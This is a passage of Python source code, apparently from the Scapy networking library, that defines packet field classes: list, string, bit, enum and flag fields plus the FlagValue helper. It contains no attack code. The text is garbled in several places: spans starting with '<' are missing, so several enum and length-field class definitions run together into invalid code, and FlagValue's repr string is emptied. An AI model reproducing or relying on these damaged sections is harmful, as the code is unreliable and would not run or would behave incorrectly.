next Packet to dissect or None to indicate that no more Packet are to be dissected. These four arguments allows a variety of dynamic discovery of the number of Packet to dissect and of the type of each one of these Packets, including: type determination based on current Packet instances or its underlayers, continuation based on the previously parsed Packet instances within that PacketListField, continuation based on a look-ahead on the bytes to be dissected... The pkt_cls and next_cls_cb parameters are semantically exclusive, although one could specify both. If both are specified, pkt_cls is silently ignored. The same is true for count_from and next_cls_cb. length_from and next_cls_cb are compatible and the dissection will end, whichever of the two stop conditions comes first. :param name: the name of the field :param default: the default value of this field; generally an empty Python list :param pkt_cls: either a callable returning a Packet instance or a class object defining a ``dispatch_hook`` class method :param count_from: a callback returning the number of Packet instances to dissect. :param length_from: a callback returning the number of bytes to dissect :param next_cls_cb: a callback returning either None or the type of the next Packet to dissect. :param max_count: an int containing the max amount of results. This is a safety mechanism, exceeding this value will raise a Scapy_Exception. """ if default is None: default = [] # Create a new list for each instance super(PacketListField, self).__init__( name, default, pkt_cls # type: ignore ) self.count_from = count_from self.length_from = length_from self.next_cls_cb = next_cls_cb self.max_count = max_count def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> List[BasePacket] if not isinstance(x, list): if x and pkt and hasattr(x, "add_parent"): x.add_parent(pkt) return [x] elif pkt: for i in x: if not i or not hasattr(i, "add_parent"): continue i.add_parent(pkt) return x def i2count(self, pkt, # type: Optional[Packet] val, # type: List[BasePacket] ): # type: (...) -> int if isinstance(val, list): return len(val) return 1 def i2len(self, pkt, # type: Optional[Packet] val, # type: List[Packet] ): # type: (...) -> int return sum(len(self.i2m(pkt, p)) for p in val) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, List[BasePacket]] c = len_pkt = cls = None if self.length_from is not None: len_pkt = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) if self.next_cls_cb is not None: cls = self.next_cls_cb(pkt, [], None, s) c = 1 if cls is None: c = 0 lst = [] # type: List[BasePacket] ret = b"" remain = s if len_pkt is not None: remain, ret = s[:len_pkt], s[len_pkt:] while remain: if c is not None: if c <= 0: break c -= 1 try: if cls is not None: try: # we want to set parent wherever possible p = cls(remain, _parent=pkt) except TypeError: p = cls(remain) else: p = self.m2i(pkt, remain) except Exception: if conf.debug_dissector: raise p = conf.raw_layer(load=remain) remain = b"" else: if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del pad.underlayer.payload if self.next_cls_cb is not None: cls = self.next_cls_cb(pkt, lst, p, remain) if cls is not None: c = 0 if c is None else c c += 1 else: remain = b"" lst.append(p) if len(lst) > (self.max_count or conf.max_list_count): raise MaximumItemsCount( "Maximum amount of items reached in PacketListField: %s " "(defaults to conf.max_list_count)" % (self.max_count or conf.max_list_count) ) if isinstance(remain, tuple): remain, nb = remain return (remain + ret, nb), lst else: return remain + ret, lst def i2m(self, pkt, # type: Optional[Packet] i, # type: Any ): # type: (...) -> bytes return bytes_encode(i) def addfield(self, pkt, s, val): # type: (Packet, bytes, Any) -> bytes return s + b"".join(self.i2m(pkt, v) for v in val) class StrFixedLenField(StrField): __slots__ = ["length_from"] def __init__( self, name, # type: str default, # type: Optional[bytes] length=None, # type: Optional[int] length_from=None, # type: Optional[Callable[[Packet], int]] ): # type: (...) -> None super(StrFixedLenField, self).__init__(name, default) self.length_from = length_from or (lambda x: 0) if length is not None: self.sz = length self.length_from = lambda x, length=length: length # type: ignore def i2repr(self, pkt, # type: Optional[Packet] v, # type: bytes ): # type: (...) -> str if isinstance(v, bytes) and not conf.debug_strfixedlenfield: v = v.rstrip(b"\0") return super(StrFixedLenField, self).i2repr(pkt, v) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, bytes] len_pkt = self.length_from(pkt) if len_pkt == 0: return s, b"" return s[len_pkt:], self.m2i(pkt, s[:len_pkt]) def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[bytes]) -> bytes len_pkt = self.length_from(pkt) if len_pkt is None: return s + self.i2m(pkt, val) return s + struct.pack("%is" % len_pkt, self.i2m(pkt, val)) def randval(self): # type: () -> RandBin try: return RandBin(self.length_from(None)) # type: ignore except Exception: return RandBin(RandNum(0, 200)) class StrFixedLenFieldUtf16(StrFixedLenField, StrFieldUtf16): pass class StrFixedLenEnumField(_StrEnumField, StrFixedLenField): __slots__ = ["enum"] def __init__( self, name, # type: str default, # type: bytes enum=None, # type: Optional[Dict[str, str]] length=None, # type: Optional[int] length_from=None # type: Optional[Callable[[Optional[Packet]], int]] # noqa: E501 ): # type: (...) -> None StrFixedLenField.__init__(self, name, default, length=length, length_from=length_from) # noqa: E501 self.enum = enum class NetBIOSNameField(StrFixedLenField): def __init__(self, name, default, length=31): # type: (str, bytes, int) -> None StrFixedLenField.__init__(self, name, default, length) def h2i(self, pkt, x): # type: (Optional[Packet], bytes) -> bytes if x and len(x) > 15: x = x[:15] return x def i2m(self, pkt, y): # type: (Optional[Packet], Optional[bytes]) -> bytes if pkt: len_pkt = self.length_from(pkt) // 2 else: len_pkt = 0 x = bytes_encode(y or b"") # type: bytes x += b" " * len_pkt x = x[:len_pkt] x = b"".join( struct.pack( "!BB", 0x41 + (b >> 4), 0x41 + (b & 0xf), ) for b in x ) return b" " + x def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> bytes x = x[1:].strip(b"\x00") return b"".join(map( lambda x, y: struct.pack( "!B", (((x - 1) & 0xf) << 4) + ((y - 1) & 0xf) ), x[::2], x[1::2] )).rstrip(b" ") class StrLenField(StrField): """ StrField with a length :param length_from: a function that returns the size of the string :param max_length: max size to use as randval """ __slots__ = ["length_from", "max_length"] ON_WIRE_SIZE_UTF16 = True def __init__( self, name, # type: str default, # type: bytes length_from=None, # type: Optional[Callable[[Packet], int]] max_length=None, # type: Optional[Any] ): # type: (...) -> None super(StrLenField, self).__init__(name, default) self.length_from = length_from self.max_length = max_length def getfield(self, pkt, s): # type: (Any, bytes) -> Tuple[bytes, bytes] len_pkt = (self.length_from or (lambda x: 0))(pkt) if not self.ON_WIRE_SIZE_UTF16: len_pkt *= 2 if len_pkt == 0: return s, b"" return s[len_pkt:], self.m2i(pkt, s[:len_pkt]) def randval(self): # type: () -> RandBin return RandBin(RandNum(0, self.max_length or 1200)) class _XStrField(Field[bytes, bytes]): def i2repr(self, pkt, x): # type: (Optional[Packet], bytes) -> str if isinstance(x, bytes): return bytes_hex(x).decode() return super(_XStrField, self).i2repr(pkt, x) class XStrField(_XStrField, StrField): """ StrField which value is printed as hexadecimal. """ class XStrLenField(_XStrField, StrLenField): """ StrLenField which value is printed as hexadecimal. """ class XStrFixedLenField(_XStrField, StrFixedLenField): """ StrFixedLenField which value is printed as hexadecimal. """ class XLEStrLenField(XStrLenField): def i2m(self, pkt, x): # type: (Optional[Packet], Optional[bytes]) -> bytes if not x: return b"" return x[:: -1] def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> bytes return x[:: -1] class StrLenFieldUtf16(StrLenField, StrFieldUtf16): pass class StrLenEnumField(_StrEnumField, StrLenField): __slots__ = ["enum"] def __init__( self, name, # type: str default, # type: bytes enum=None, # type: Optional[Dict[str, str]] **kwargs # type: Any ): # type: (...) -> None StrLenField.__init__(self, name, default, **kwargs) self.enum = enum class BoundStrLenField(StrLenField): __slots__ = ["minlen", "maxlen"] def __init__( self, name, # type: str default, # type: bytes minlen=0, # type: int maxlen=255, # type: int length_from=None # type: Optional[Callable[[Packet], int]] ): # type: (...) -> None StrLenField.__init__(self, name, default, length_from=length_from) self.minlen = minlen self.maxlen = maxlen def randval(self): # type: () -> RandBin return RandBin(RandNum(self.minlen, self.maxlen)) class FieldListField(Field[List[Any], List[Any]]): __slots__ = ["field", "count_from", "length_from", "max_count"] islist = 1 def __init__( self, name, # type: str default, # type: Optional[List[AnyField]] field, # type: AnyField length_from=None, # type: Optional[Callable[[Packet], int]] count_from=None, # type: Optional[Callable[[Packet], int]] max_count=None, # type: Optional[int] ): # type: (...) -> None if default is None: default = [] # Create a new list for each instance self.field = field Field.__init__(self, name, default) self.count_from = count_from self.length_from = length_from self.max_count = max_count def i2count(self, pkt, val): # type: (Optional[Packet], List[Any]) -> int if isinstance(val, list): return len(val) return 1 def i2len(self, pkt, val): # type: (Packet, List[Any]) -> int return int(sum(self.field.i2len(pkt, v) for v in val)) def any2i(self, pkt, x): # type: (Optional[Packet], List[Any]) -> List[Any] if not isinstance(x, list): return [self.field.any2i(pkt, x)] else: return [self.field.any2i(pkt, e) for e in x] def i2repr(self, pkt, # type: Optional[Packet] x, # type: List[Any] ): # type: (...) -> str return "[%s]" % ", ".join(self.field.i2repr(pkt, v) for v in x) def addfield(self, pkt, # type: Packet s, # type: bytes val, # type: Optional[List[Any]] ): # type: (...) -> bytes val = self.i2m(pkt, val) for v in val: s = self.field.addfield(pkt, s, v) return s def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Any c = len_pkt = None if self.length_from is not None: len_pkt = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) val = [] ret = b"" if len_pkt is not None: s, ret = s[:len_pkt], s[len_pkt:] while s: if c is not None: if c <= 0: break c -= 1 s, v = self.field.getfield(pkt, s) val.append(v) if len(val) > (self.max_count or conf.max_list_count): raise MaximumItemsCount( "Maximum amount of items reached in FieldListField: %s " "(defaults to conf.max_list_count)" % (self.max_count or conf.max_list_count) ) if isinstance(s, tuple): s, bn = s return (s + ret, bn), val else: return s + ret, val class FieldLenField(Field[int, int]): __slots__ = ["length_of", "count_of", "adjust"] def __init__( self, name, # type: str default, # type: Optional[Any] length_of=None, # type: Optional[str] fmt="H", # type: str count_of=None, # type: Optional[str] adjust=lambda pkt, x: x, # type: Callable[[Packet, int], int] ): # type: (...) -> None Field.__init__(self, name, default, fmt) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): # type: (Optional[Packet], Optional[int]) -> int if x is None and pkt is not None: if self.length_of is not None: fld, fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) elif self.count_of is not None: fld, fval = pkt.getfield_and_val(self.count_of) f = fld.i2count(pkt, fval) else: raise ValueError( "Field should have either length_of or count_of" ) x = self.adjust(pkt, f) elif x is None: x = 0 return x class StrNullField(StrField): DELIMITER = b"\x00" def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[bytes]) -> bytes return s + self.i2m(pkt, val) + self.DELIMITER def getfield(self, pkt, # type: Packet s, # type: bytes ): # type: (...) -> Tuple[bytes, bytes] len_str = 0 while True: len_str = s.find(self.DELIMITER, len_str) if len_str < 0: # DELIMITER not found: return empty return b"", s if len_str % len(self.DELIMITER): len_str += 1 else: break return s[len_str + len(self.DELIMITER):], self.m2i(pkt, s[:len_str]) def randval(self): # type: () -> RandTermString return RandTermString(RandNum(0, 1200), self.DELIMITER) def i2len(self, pkt, x): # type: (Optional[Packet], Any) -> int return super(StrNullField, self).i2len(pkt, x) + 1 class StrNullFieldUtf16(StrNullField, StrFieldUtf16): DELIMITER = b"\x00\x00" class StrStopField(StrField): __slots__ = ["stop", "additional"] def __init__(self, name, default, stop, additional=0): # type: (str, str, bytes, int) -> None Field.__init__(self, name, default) self.stop = stop self.additional = additional def getfield(self, pkt, s): # type: (Optional[Packet], bytes) -> Tuple[bytes, bytes] len_str = s.find(self.stop) if len_str < 0: return b"", s len_str += len(self.stop) + self.additional return s[len_str:], s[:len_str] def randval(self): # type: () -> RandTermString return RandTermString(RandNum(0, 1200), self.stop) class LenField(Field[int, int]): """ If None, will be filled with the size of the payload """ __slots__ = ["adjust"] def __init__(self, name, default, fmt="H", adjust=lambda x: x): # type: (str, Optional[Any], str, Callable[[int], int]) -> None Field.__init__(self, name, default, fmt) self.adjust = adjust def i2m(self, pkt, # type: Optional[Packet] x, # type: Optional[int] ): # type: (...) -> int if x is None: x = 0 if pkt is not None: x = self.adjust(len(pkt.payload)) return x class BCDFloatField(Field[float, int]): def i2m(self, pkt, x): # type: (Optional[Packet], Optional[float]) -> int if x is None: return 0 return int(256 * x) def m2i(self, pkt, x): # type: (Optional[Packet], int) -> float return x / 256.0 class _BitField(Field[I, int]): """ Field to handle bits. :param name: name of the field :param default: default value :param size: size (in bits). If negative, Low endian :param tot_size: size of the total group of bits (in bytes) the bitfield is in. If negative, Low endian. :param end_tot_size: same but for the BitField ending a group. Example - normal usage:: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | A | B | C | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. TestPacket class TestPacket(Packet): fields_desc = [ BitField("a", 0, 14), BitField("b", 0, 16), BitField("c", 0, 2), ] Example - Low endian stored as 16 bits on the network:: x x x x x x x x x x x x x x x x a [b] [ c ] [ a ] Will first get reversed during dissecion: x x x x x x x x x x x x x x x x [ a ] [b] [ c ] class TestPacket(Packet): fields_desc = [ BitField("a", 0, 9, tot_size=-2), BitField("b", 0, 2), BitField("c", 0, 5, end_tot_size=-2) ] """ __slots__ = ["rev", "size", "tot_size", "end_tot_size"] def __init__(self, name, default, size, tot_size=0, end_tot_size=0): # type: (str, Optional[I], int, int, int) -> None Field.__init__(self, name, default) if callable(size): size = size(self) self.rev = size < 0 or tot_size < 0 or end_tot_size < 0 self.size = abs(size) if not tot_size: tot_size = self.size // 8 self.tot_size = abs(tot_size) if not end_tot_size: end_tot_size = self.size // 8 self.end_tot_size = abs(end_tot_size) # Fields always have a round sz except BitField # so to keep it simple, we'll ignore it here. self.sz = self.size / 8. # type: ignore # We need to # type: ignore a few things because of how special # BitField is def addfield(self, # type: ignore pkt, # type: Packet s, # type: Union[Tuple[bytes, int, int], bytes] ival, # type: I ): # type: (...) -> Union[Tuple[bytes, int, int], bytes] val = self.i2m(pkt, ival) if isinstance(s, tuple): s, bitsdone, v = s else: bitsdone = 0 v = 0 v <<= self.size v |= val & ((1 << self.size) - 1) bitsdone += self.size while bitsdone >= 8: bitsdone -= 8 s = s + struct.pack("!B", v >> bitsdone) v &= (1 << bitsdone) - 1 if bitsdone: return s, bitsdone, v else: # Apply LE if necessary if self.rev and self.end_tot_size > 1: s = s[:-self.end_tot_size] + s[-self.end_tot_size:][::-1] return s def getfield(self, # type: ignore pkt, # type: Packet s, # type: Union[Tuple[bytes, int], bytes] ): # type: (...) -> Union[Tuple[Tuple[bytes, int], I], Tuple[bytes, I]] # noqa: E501 if isinstance(s, tuple): s, bn = s else: bn = 0 # Apply LE if necessary if self.rev and self.tot_size > 1: s = s[:self.tot_size][::-1] + s[self.tot_size:] # we don't want to process all the string nb_bytes = (self.size + bn - 1) // 8 + 1 w = s[:nb_bytes] # split the substring byte by byte _bytes = struct.unpack('!%dB' % nb_bytes, w) b = 0 for c in range(nb_bytes): b |= int(_bytes[c]) << (nb_bytes - c - 1) * 8 # get rid of high order bits b &= (1 << (nb_bytes * 8 - bn)) - 1 # remove low order bits b = b >> (nb_bytes * 8 - self.size - bn) bn += self.size s = s[bn // 8:] bn = bn % 8 b2 = self.m2i(pkt, b) if bn: return (s, bn), b2 else: return s, b2 def randval(self): # type: () -> RandNum return RandNum(0, 2**self.size - 1) def i2len(self, pkt, x): # type: ignore # type: (Optional[Packet], Optional[float]) -> float return float(self.size) / 8 class BitField(_BitField[int]): __doc__ = _BitField.__doc__ class BitLenField(BitField): __slots__ = ["length_from"] def __init__(self, name, # type: str default, # type: Optional[int] length_from # type: Callable[[Packet], int] ): # type: (...) -> None self.length_from = length_from super(BitLenField, self).__init__(name, default, 0) def getfield(self, # type: ignore pkt, # type: Packet s, # type: Union[Tuple[bytes, int], bytes] ): # type: (...) -> Union[Tuple[Tuple[bytes, int], int], Tuple[bytes, int]] # noqa: E501 self.size = self.length_from(pkt) return super(BitLenField, self).getfield(pkt, s) def addfield(self, # type: ignore pkt, # type: Packet s, # type: Union[Tuple[bytes, int, int], bytes] val # type: int ): # type: (...) -> Union[Tuple[bytes, int, int], bytes] self.size = self.length_from(pkt) return super(BitLenField, self).addfield(pkt, s, val) class BitFieldLenField(BitField): __slots__ = ["length_of", "count_of", "adjust", "tot_size", "end_tot_size"] def __init__(self, name, # type: str default, # type: Optional[int] size, # type: int length_of=None, # type: Optional[Union[Callable[[Optional[Packet]], int], str]] # noqa: E501 count_of=None, # type: Optional[str] adjust=lambda pkt, x: x, # type: Callable[[Optional[Packet], int], int] # noqa: E501 tot_size=0, # type: int end_tot_size=0, # type: int ): # type: (...) -> None super(BitFieldLenField, self).__init__(name, default, size, tot_size, end_tot_size) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Any]) -> int return FieldLenField.i2m(self, pkt, x) # type: ignore class XBitField(BitField): def i2repr(self, pkt, x): # type: (Optional[Packet], int) -> str return lhex(self.i2h(pkt, x)) _EnumType = Union[Dict[I, str], Dict[str, I], List[str], DADict[I, str], Type[Enum], Tuple[Callable[[I], str], Callable[[str], I]]] # noqa: E501 class _EnumField(Field[Union[List[I], I], I]): def __init__(self, name, # type: str default, # type: Optional[I] enum, # type: _EnumType[I] fmt="H", # type: str ): # type: (...) -> None """ Initializes enum fields. @param name: name of this field @param default: default value of this field @param enum: either an enum, a dict or a tuple of two callables. Dict keys are the internal values, while the dict values are the user-friendly representations. If the tuple is provided, the first callable receives the internal value as parameter and returns the user-friendly representation and the second callable does the converse. The first callable may return None to default to a literal string (repr()) representation. @param fmt: struct.pack format used to parse and serialize the internal value from and to machine representation. """ if isinstance(enum, ObservableDict): cast(ObservableDict, enum).observe(self) if isinstance(enum, tuple): self.i2s_cb = enum[0] # type: Optional[Callable[[I], str]] self.s2i_cb = enum[1] # type: Optional[Callable[[str], I]] self.i2s = None # type: Optional[Dict[I, str]] self.s2i = None # type: Optional[Dict[str, I]] elif isinstance(enum, type) and issubclass(enum, Enum): # Python's Enum i2s = self.i2s = {} s2i = self.s2i = {} self.i2s_cb = None self.s2i_cb = None names = [x.name for x in enum] for n in names: value = enum[n].value i2s[value] = n s2i[n] = value else: i2s = self.i2s = {} s2i = self.s2i = {} self.i2s_cb = None self.s2i_cb = None keys = [] # type: List[I] if isinstance(enum, list): keys = list(range(len(enum))) # type: ignore elif isinstance(enum, DADict): keys = enum.keys() else: keys = list(enum) # type: ignore if any(isinstance(x, str) for x in keys): i2s, s2i = s2i, i2s # type: ignore for k in keys: value = cast(str, enum[k]) # type: ignore i2s[k] = value s2i[value] = k Field.__init__(self, name, default, fmt) def any2i_one(self, pkt, x): # type: (Optional[Packet], Any) -> I if isinstance(x, Enum): return cast(I, x.value) elif isinstance(x, str): if self.s2i: x = self.s2i[x] elif self.s2i_cb: x = self.s2i_cb(x) return cast(I, x) def _i2repr(self, pkt, x): # type: (Optional[Packet], I) -> str return repr(x) def i2repr_one(self, pkt, x): # type: (Optional[Packet], I) -> str if self not in conf.noenum and not isinstance(x, VolatileValue): if self.i2s: try: return self.i2s[x] except KeyError: pass elif self.i2s_cb: ret = self.i2s_cb(x) if ret is not None: return ret return self._i2repr(pkt, x) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Union[I, List[I]] if isinstance(x, list): return [self.any2i_one(pkt, z) for z in x] else: return self.any2i_one(pkt, x) def i2repr(self, pkt, x): # type: ignore # type: (Optional[Packet], Any) -> Union[List[str], str] if isinstance(x, list): return [self.i2repr_one(pkt, z) for z in x] else: return self.i2repr_one(pkt, x) def notify_set(self, enum, key, value): # type: (ObservableDict, I, str) -> None ks = "0x%x" if isinstance(key, int) else "%s" log_runtime.debug( "At %s: Change to %s at " + ks, self, value, key ) if self.i2s is not None and self.s2i is not None: self.i2s[key] = value self.s2i[value] = key def notify_del(self, enum, key): # type: (ObservableDict, I) -> None ks = "0x%x" if isinstance(key, int) else "%s" log_runtime.debug("At %s: Delete value at " + ks, self, key) if self.i2s is not None and self.s2i is not None: value = self.i2s[key] del self.i2s[key] del self.s2i[value] class EnumField(_EnumField[I]): __slots__ = ["i2s", "s2i", "s2i_cb", "i2s_cb"] class CharEnumField(EnumField[str]): def __init__(self, name, # type: str default, # type: str enum, # type: _EnumType[str] fmt="1s", # type: str ): # type: (...) -> None super(CharEnumField, self).__init__(name, default, enum, fmt) if self.i2s is not None: k = list(self.i2s) if k and len(k[0]) != 1: self.i2s, self.s2i = self.s2i, self.i2s def any2i_one(self, pkt, x): # type: (Optional[Packet], str) -> str if len(x) != 1: if self.s2i: x = self.s2i[x] elif self.s2i_cb: x = self.s2i_cb(x) return x class BitEnumField(_BitField[Union[List[int], int]], _EnumField[int]): __slots__ = EnumField.__slots__ def __init__(self, name, # type: str default, # type: Optional[int] size, # type: int enum, # type: _EnumType[int] **kwargs # type: Any ): # type: (...) -> None _EnumField.__init__(self, name, default, enum) _BitField.__init__(self, name, default, size, **kwargs) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Union[List[int], int] return _EnumField.any2i(self, pkt, x) def i2repr(self, pkt, # type: Optional[Packet] x, # type: Union[List[int], int] ): # type: (...) -> Any return _EnumField.i2repr(self, pkt, x) class BitLenEnumField(BitLenField, _EnumField[int]): __slots__ = EnumField.__slots__ def __init__(self, name, # type: str default, # type: Optional[int] length_from, # type: Callable[[Packet], int] enum, # type: _EnumType[int] **kwargs, # type: Any ): # type: (...) -> None _EnumField.__init__(self, name, default, enum) BitLenField.__init__(self, name, default, length_from, **kwargs) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> int return _EnumField.any2i(self, pkt, x) # type: ignore def i2repr(self, pkt, # type: Optional[Packet] x, # type: Union[List[int], int] ): # type: (...) -> Any return _EnumField.i2repr(self, pkt, x) class ShortEnumField(EnumField[int]): __slots__ = EnumField.__slots__ def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None super(ShortEnumField, self).__init__(name, default, enum, "H") class LEShortEnumField(EnumField[int]): def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None super(LEShortEnumField, self).__init__(name, default, enum, " None super(LongEnumField, self).__init__(name, default, enum, "Q") class LELongEnumField(EnumField[int]): def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None super(LELongEnumField, self).__init__(name, default, enum, " None super(ByteEnumField, self).__init__(name, default, enum, "B") class XByteEnumField(ByteEnumField): def i2repr_one(self, pkt, x): # type: (Optional[Packet], int) -> str if self not in conf.noenum and not isinstance(x, VolatileValue): if self.i2s: try: return self.i2s[x] except KeyError: pass elif self.i2s_cb: ret = self.i2s_cb(x) if ret is not None: return ret return lhex(x) class IntEnumField(EnumField[int]): def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None super(IntEnumField, self).__init__(name, default, enum, "I") class SignedIntEnumField(EnumField[int]): def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None super(SignedIntEnumField, self).__init__(name, default, enum, "i") class LEIntEnumField(EnumField[int]): def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None super(LEIntEnumField, self).__init__(name, default, enum, " str return lhex(x) class XShortEnumField(ShortEnumField): def _i2repr(self, pkt, x): # type: (Optional[Packet], Any) -> str return lhex(x) class LE3BytesEnumField(LEThreeBytesField, _EnumField[int]): __slots__ = EnumField.__slots__ def __init__(self, name, # type: str default, # type: Optional[int] enum, # type: _EnumType[int] ): # type: (...) -> None _EnumField.__init__(self, name, default, enum) LEThreeBytesField.__init__(self, name, default) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> int return _EnumField.any2i(self, pkt, x) # type: ignore def i2repr(self, pkt, x): # type: ignore # type: (Optional[Packet], Any) -> Union[List[str], str] return _EnumField.i2repr(self, pkt, x) class XLE3BytesEnumField(LE3BytesEnumField): def _i2repr(self, pkt, x): # type: (Optional[Packet], Any) -> str return lhex(x) class _MultiEnumField(_EnumField[I]): def __init__(self, name, # type: str default, # type: int enum, # type: Dict[I, Dict[I, str]] depends_on, # type: Callable[[Optional[Packet]], I] fmt="H" # type: str ): # type: (...) -> None self.depends_on = depends_on self.i2s_multi = enum self.s2i_multi = {} # type: Dict[I, Dict[str, I]] self.s2i_all = {} # type: Dict[str, I] for m in enum: s2i = {} # type: Dict[str, I] self.s2i_multi[m] = s2i for k, v in enum[m].items(): s2i[v] = k self.s2i_all[v] = k Field.__init__(self, name, default, fmt) def any2i_one(self, pkt, x): # type: (Optional[Packet], Any) -> I if isinstance(x, str): v = self.depends_on(pkt) if v in self.s2i_multi: s2i = self.s2i_multi[v] if x in s2i: return s2i[x] return self.s2i_all[x] return cast(I, x) def i2repr_one(self, pkt, x): # type: (Optional[Packet], I) -> str v = self.depends_on(pkt) if isinstance(v, VolatileValue): return repr(v) if v in self.i2s_multi: return str(self.i2s_multi[v].get(x, x)) return str(x) class MultiEnumField(_MultiEnumField[int], EnumField[int]): __slots__ = ["depends_on", "i2s_multi", "s2i_multi", "s2i_all"] class BitMultiEnumField(_BitField[Union[List[int], int]], _MultiEnumField[int]): __slots__ = EnumField.__slots__ + MultiEnumField.__slots__ def __init__( self, name, # type: str default, # type: int size, # type: int enum, # type: Dict[int, Dict[int, str]] depends_on # type: Callable[[Optional[Packet]], int] ): # type: (...) -> None _MultiEnumField.__init__(self, name, default, enum, depends_on) self.rev = size < 0 self.size = abs(size) self.sz = self.size / 8. # type: ignore def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Union[List[int], int] return _MultiEnumField[int].any2i( self, # type: ignore pkt, x ) def i2repr( # type: ignore self, pkt, # type: Optional[Packet] x # type: Union[List[int], int] ): # type: (...) -> Union[str, List[str]] return _MultiEnumField[int].i2repr( self, # type: ignore pkt, x ) class ByteEnumKeysField(ByteEnumField): """ByteEnumField that picks valid values when fuzzed. """ def randval(self): # type: () -> RandEnumKeys return RandEnumKeys(self.i2s or {}) class ShortEnumKeysField(ShortEnumField): """ShortEnumField that picks valid values when fuzzed. """ def randval(self): # type: () -> RandEnumKeys return RandEnumKeys(self.i2s or {}) class IntEnumKeysField(IntEnumField): """IntEnumField that picks valid values when fuzzed. """ def randval(self): # type: () -> RandEnumKeys return RandEnumKeys(self.i2s or {}) # Little endian fixed length field class LEFieldLenField(FieldLenField): def __init__( self, name, # type: str default, # type: Optional[Any] length_of=None, # type: Optional[str] fmt=" None FieldLenField.__init__( self, name, default, length_of=length_of, fmt=fmt, count_of=count_of, adjust=adjust ) class FlagValueIter(object): __slots__ = ["flagvalue", "cursor"] def __init__(self, flagvalue): # type: (FlagValue) -> None self.flagvalue = flagvalue self.cursor = 0 def __iter__(self): # type: () -> FlagValueIter return self def __next__(self): # type: () -> str x = int(self.flagvalue) x >>= self.cursor while x: self.cursor += 1 if x & 1: return self.flagvalue.names[self.cursor - 1] x >>= 1 raise StopIteration next = __next__ class FlagValue(object): __slots__ = ["value", "names", "multi"] def _fixvalue(self, value): # type: (Any) -> int if not value: return 0 if isinstance(value, str): value = value.split('+') if self.multi else list(value) if isinstance(value, list): y = 0 for i in value: y |= 1 << self.names.index(i) value = y return int(value) def __init__(self, value, names): # type: (Union[List[str], int, str], Union[List[str], str]) -> None self.multi = isinstance(names, list) self.names = names self.value = self._fixvalue(value) def __hash__(self): # type: () -> int return hash(self.value) def __int__(self): # type: () -> int return self.value def __eq__(self, other): # type: (Any) -> bool return self.value == self._fixvalue(other) def __lt__(self, other): # type: (Any) -> bool return self.value < self._fixvalue(other) def __le__(self, other): # type: (Any) -> bool return self.value <= self._fixvalue(other) def __gt__(self, other): # type: (Any) -> bool return self.value > self._fixvalue(other) def __ge__(self, other): # type: (Any) -> bool return self.value >= self._fixvalue(other) def __ne__(self, other): # type: (Any) -> bool return self.value != self._fixvalue(other) def __and__(self, other): # type: (int) -> FlagValue return self.__class__(self.value & self._fixvalue(other), self.names) __rand__ = __and__ def __or__(self, other): # type: (int) -> FlagValue return self.__class__(self.value | self._fixvalue(other), self.names) __ror__ = __or__ __add__ = __or__ # + is an alias for | def __sub__(self, other): # type: (int) -> FlagValue return self.__class__( self.value & (2 ** len(self.names) - 1 - self._fixvalue(other)), self.names ) def __xor__(self, other): # type: (int) -> FlagValue return self.__class__(self.value ^ self._fixvalue(other), self.names) def __lshift__(self, other): # type: (int) -> int return self.value << self._fixvalue(other) def __rshift__(self, other): # type: (int) -> int return self.value >> self._fixvalue(other) def __nonzero__(self): # type: () -> bool return bool(self.value) __bool__ = __nonzero__ def flagrepr(self): # type: () -> str warnings.warn( "obj.flagrepr() is obsolete. Use str(obj) instead.", DeprecationWarning ) return str(self) def __str__(self): # type: () -> str i = 0 r = [] x = int(self) while x: if x & 1: try: name = self.names[i] except IndexError: name = "?" r.append(name) i += 1 x >>= 1 return ("+" if self.multi else "").join(r) def __iter__(self): # type: () -> FlagValueIter return FlagValueIter(self) def __repr__(self): # type: () -> str return "" % (self, self) def __deepcopy__(self, memo): # type: (Dict[Any, Any]) -> FlagValue return self.__class__(int(self), self.names) def __getattr__(self, attr): # type: (str) -> Any if attr in self.__slots__: return super(FlagValue, self).__getattribute__(attr) try: if self.multi: return bool((2 ** self.names.index(attr)) & int(self)) return all(bool((2 ** self.names.index(flag)) & int(self)) for flag in attr) except ValueError: if '_' in attr: try: return self.__getattr__(attr.replace('_', '-')) except AttributeError: pass return super(FlagValue, self).__getattribute__(attr) def __setattr__(self, attr, value): # type: (str, Union[List[str], int, str]) -> None if attr == "value" and not isinstance(value, int): raise ValueError(value) if attr in self.__slots__: return super(FlagValue, self).__setattr__(attr, value) if attr in self.names: if value: self.value |= (2 ** 